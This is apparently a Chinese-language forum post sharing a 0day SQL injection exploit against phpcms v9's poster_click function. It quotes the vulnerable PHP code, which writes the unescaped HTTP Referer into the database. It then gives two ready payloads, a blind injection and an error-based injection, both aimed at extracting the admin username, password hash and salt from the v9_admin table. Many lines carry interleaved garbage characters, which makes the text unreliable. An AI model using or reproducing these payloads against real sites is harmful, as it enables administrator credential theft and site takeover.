phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

) L6 I& U) q3 n& ?6 h& k+ A' w# Q! R问题函数\phpcms\modules\poster\index.php

) u% k( ?; @' t4 x* npublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
' g/ B" f; I2 M9 lif (!is_array($r) && empty($r)) return false;
! |2 M% I' d8 i, w$ip_area = pc_base::load_sys_class('ip_area');
% ^4 x7 B/ K+ D) u" U0 l7 X* m$ip = ip();
; q  \$ G) c! d+ A$area = $ip_area->get($ip);
( Q& Y9 s2 |# |$ {- x6 J; x1 u$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$ k% O& T, R/ I& ]1 X; m2 H2 ]! S8 L$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
" V6 ~, Z6 m: ?6 q( F0 f4 g8 H$setting = string2array($r['setting']);
if (count($setting)==1) {
! L9 L% E- g/ H$url = $setting['1']['linkurl'];
5 M8 S9 Z$ e  n& v8 A! g} else {
: `0 L8 @- `4 ]) d$ X- U$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}
" a8 q) x1 j2 c4 c6 B
* c7 M& e9 ?4 k9 N5 W
- \% v5 L% I) o
利用方式：

1、可以采用盲注入的手法：
; ?. h" d, |- a& l$ @
; \( p4 }2 h2 P( k( C( A) ~, areferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

/ E, V. g/ v- ~/ F2、代码是花开写的，随手附上了：
1 m  X- {* N& O2 g# n
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
